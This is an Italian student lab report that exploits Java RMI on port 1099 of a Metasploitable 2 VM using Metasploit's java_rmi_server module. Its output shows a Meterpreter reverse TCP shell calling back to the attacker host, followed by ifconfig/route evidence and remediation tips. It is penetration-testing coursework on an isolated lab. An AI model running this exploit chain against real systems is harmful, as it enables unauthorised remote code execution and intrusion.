

PROGETTO S7/L5

VULNERABILITÀ PORTA 1099-JAVA RMI

1. Introduzione.....	1
2. JAVA RMI.....	2
3. PREPARAZIONE PRELIMINARE.....	2
STEP 1 - Configurazione ip delle macchine.....	2
KALI.....	2
METASPLOITABLE 2.....	3
STEP 2 - Ping.....	4
4. PREPARAZIONE EXPLOIT.....	4
STEP 1 - Metasploit.....	4
STEP 2 - Ricerca del modulo.....	5
STEP 3 - Scelta modulo.....	5
STEP 4 - Impostazioni del modulo.....	6
STEP 5 - Inserimento ip macchina bersaglio.....	6
5. EXPLOIT.....	7
6. OTTENERE CONFIGURAZIONE DI RETE.....	7
7. OTTENERE TABELLA DI ROUTING.....	8
8. PROPOSTE DI AZIONI DI RIMEDIO.....	8

1. Introduzione

Lo scopo di questo progetto è sfruttare la vulnerabilità del servizio Java RMI sulla porta 1099 della nostra macchina Metasploitable2, andando così a catturare le seguenti evidenze:

- 1 - Configurazione di rete;
 - 2 - Informazioni sulla tabella di routing.
-

2. JAVA RMI

Java RMI (Java Remote Method Invocation) è una tecnologia che consente l'esecuzione di metodi di oggetti distribuiti su una rete. Consente ad un'applicazione Java su una macchina virtuale di invocare metodi su un oggetto remoto su un'altra macchina virtuale. Tramite RMI rende trasparente la comunicazione tra questi oggetti consentendo loro di chiamare i metodi l'uno dell'altro come se fossero locali.

Come tutti i servizi, se non configurato bene, può presentare delle vulnerabilità quali l'esposizione di oggetti non sicuri, Man in the Middle (se non viene configurata adeguatamente la comunicazione tra client e server RMI), Dos, RMI Registry non protetto (potrebbe essere soggetto ad attacchi di tipo spoofing o altri tipi di manipolazione se non configurato nel modo giusto).

3. PREPARAZIONE PRELIMINARE

STEP 1 - Configurazione ip delle macchine

Configuriamo le nostre due macchine, quella attaccante e quella vittima, in modo che possano comunicare sulla stessa rete.

KALI

Entriamo nel file di testa della configurazione di rete con il comando ***sudo nano*** ***/etc/network/interfaces***:



```
(kali㉿kali)-[~]  
$ sudo nano /etc/network/interfaces
```

Impostiamo i nuovi valori:

```
GNU nano 7.2 /etc/network/interfaces *
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111
gateway 192.168.11.1
netmask 255.255.255.0
```

METASPLOITABLE 2

Anche qui la stessa cosa, entriamo nel file di testa della configurazione di rete con lo stesso comando:

```
msfadmin@metasploitable:~$ sudo nano /etc/network/interfaces
```

Impostiamo il nuovo ip:

```
GNU nano 2.0.7 File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static

address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

STEP 2 - Ping

Accertiamoci che le macchine comunichino controllando il ping con il comando **ping** **<ip_target>**.

Da Kali verso meta:

```
(kali㉿kali)-[~]  
└─$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.252 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.305 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.200 ms  
^C  
--- 192.168.11.112 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 2055ms  
rtt min/avg/max/mdev = 0.200/0.252/0.305/0.042 ms
```

E da Meta verso Kali:

```
msfadmin@metasploitable:~$ ping 192.168.11.111  
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.  
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.259 ms  
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.306 ms  
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.305 ms  
--- 192.168.11.111 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 1998ms  
rtt min/avg/max/mdev = 0.259/0.290/0.306/0.021 ms
```

Le macchine comunicano correttamente.

4. PREPARAZIONE EXPLOIT

STEP 1 - Metasploit

Spostiamoci sulla macchina Kali ed apriamo la console di Metasploit, che è un framework di penetration testing open-source ampiamente utilizzato per testare la sicurezza dei sistemi informatici, con il comando **msfconsole**.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>

      (-----)
      ( ) 0 0 ( )
      /  \
     o_o  \  M S F  /
      /    \  \  *  /
      |||   |||  \  /
      |||   |||  /  \

= [ metasploit v6.3.51-dev ]
+ -- --[ 2384 exploits - 1232 auxiliary - 418 post ]
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > | quieter you become, the more you
```

STEP 2 - Ricerca del modulo

Cerchiamo tra i suoi moduli quello a noi utile, ossia il servizio Java RMI:

```
msf6 > search java_rmi

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > | quieter you become, the more you are able to hear"
```

STEP 3 - Scelta modulo

Con il comando **use 1** andiamo a selezionare il modulo specifico a noi necessario, il *Java RMI Server Insecure Default Configuration Java Code Execution*.

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > |
```

Notiamo come di default ci venga assegnato il payload *meterpreter/reverse_tcp*.

Meterpreter è un componente importante all'interno di Metasploit ed è un payload utilizzato per ottenere e mantenere l'accesso a sistemi compromessi. Una volta che un exploit è riuscito a sfruttare con successo una vulnerabilità Meterpreter fornisce una shell interattiva con una vasta gamma di funzionalità, tra cui ad esempio accesso remoto, bypassare firewall, catturare screenshot o la capacità di permanenza sulla macchina attaccata anche dopo un riavvio.

STEP 4 - Impostazioni del modulo

Controlliamo le impostazioni del nostro modulo con il comando **options**:

```
msf6 exploit(multi/misc/java_rmi_server) > options
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Generic (Java Payload)

STEP 5 - Inserimento ip macchina bersaglio

Notiamo come il tool ci specifichi che ci sono parametri che sono requisito fondamentale per il lancio dell'exploit, alcuni già impostati di default mentre altri, come l'ip della macchina bersaglio devono ancora essere settati.

Quindi procediamo con l'inserimento dell'ip di Metasploitable 2 con il comando **set RHOSTS <ip_target>**:

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
```

5. EXPLOIT

Ora che siamo pronti per il nostro attacco lanciamolo e vediamo se tutto funziona correttamente con il comando **exploit**:

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1899 - Using URL: http://192.168.11.111:8080/xkppukd0MKq2d
[*] 192.168.11.112:1899 - Server started.
[*] 192.168.11.112:1899 - Sending RMI Header...
[*] 192.168.11.112:1899 - Sending RMI Call...
[*] 192.168.11.112:1899 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 => 192.168.11.112:55820) at 2024-01-19 09:47:26 +0100
```

L'exploit è andato a segno e la shell è pronta per essere utilizzata.

6. OTTENERE CONFIGURAZIONE DI RETE

Ora che siamo dentro la macchina bersaglio sarà facile catturare la configurazione di rete, basterà eseguire il comando **ifconfig**:

```
@teorprater > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware  MAC : 00:00:00:00:00:00
IPv4  Address : 127.0.0.1
IPv4  Netmask : 255.0.0.0
IPv6  Address : ::1
IPv6  Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware  MAC : 00:00:00:00:00:00
IPv4  Address : 192.168.11.112
IPv4  Netmask : 255.255.255.0
IPv6  Address : fe80::a00:27ff:fac7:3188
IPv6  Netmask : ::
```

7. OTTENERE TABELLA DI ROUTING

Con la stessa facilità sapremo ottenere anche la tabella di routing, basterà lanciare il comando **route**:

```
@teorprater > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1          ::           ::           0            lo
fe80::a00:27ff:fac7:3188 ::           ::           0            eth0
@teorprater > 
```

8. PROPOSTE DI AZIONI DI RIMEDIO

Per mitigare queste vulnerabilità è consigliabile adottare le seguenti best practice, come;

- Implementare meccanismi di autenticazione e autorizzazione per garantire che solo utenti autorizzati possano accedere ai servizi RMI;
- Utilizzare connessioni sicure tramite protocolli come SSL per proteggere la comunicazione tra client e server;
- Implementare un sistema di monitoraggio e logging per rilevare e registrare attività sospette;
- Assicurarsi che l'RMI Registry sia configurato in modo sicuro e che le autorizzazioni siano impostate correttamente.